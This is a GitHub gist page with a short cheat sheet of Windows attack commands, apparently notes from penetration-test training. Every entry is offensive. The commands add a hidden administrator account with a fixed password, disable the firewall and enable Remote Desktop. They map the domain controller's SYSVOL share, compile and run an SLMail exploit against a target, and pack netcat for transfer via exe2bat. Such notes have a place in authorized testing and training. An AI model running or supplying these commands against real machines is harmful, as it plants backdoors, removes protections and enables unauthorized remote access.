Last active
August 29, 2015 14:25
-
-
Save xstpl/fd672e4c0ed61d2273cd to your computer and use it in GitHub Desktop.
win rock add and reverse
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#add a user | |
net user xstpl mwcb /add | |
#add user to local administrators | |
net localgroup administrators /add xstpl | |
#remove firewall | |
netsh firewall set opmode disable | |
#enabled remote desktop | |
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f | |
#map share to drive letter (group policy config location) | |
net use z: \\dc01\SYSVOL | |
#not really windows, but here are a few things to use when compiling for windows and running with wine | |
i586-mingw32msvc-gcc slmail-win-fixed.c -lws2_32 -o s.exe | |
wine s.exe TARGET | |
#transferring via debug | |
upx -9 nc.exe #located in /usr/share/windows-binaries | |
wine exe2bat.exe nc.exe nc.txt |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment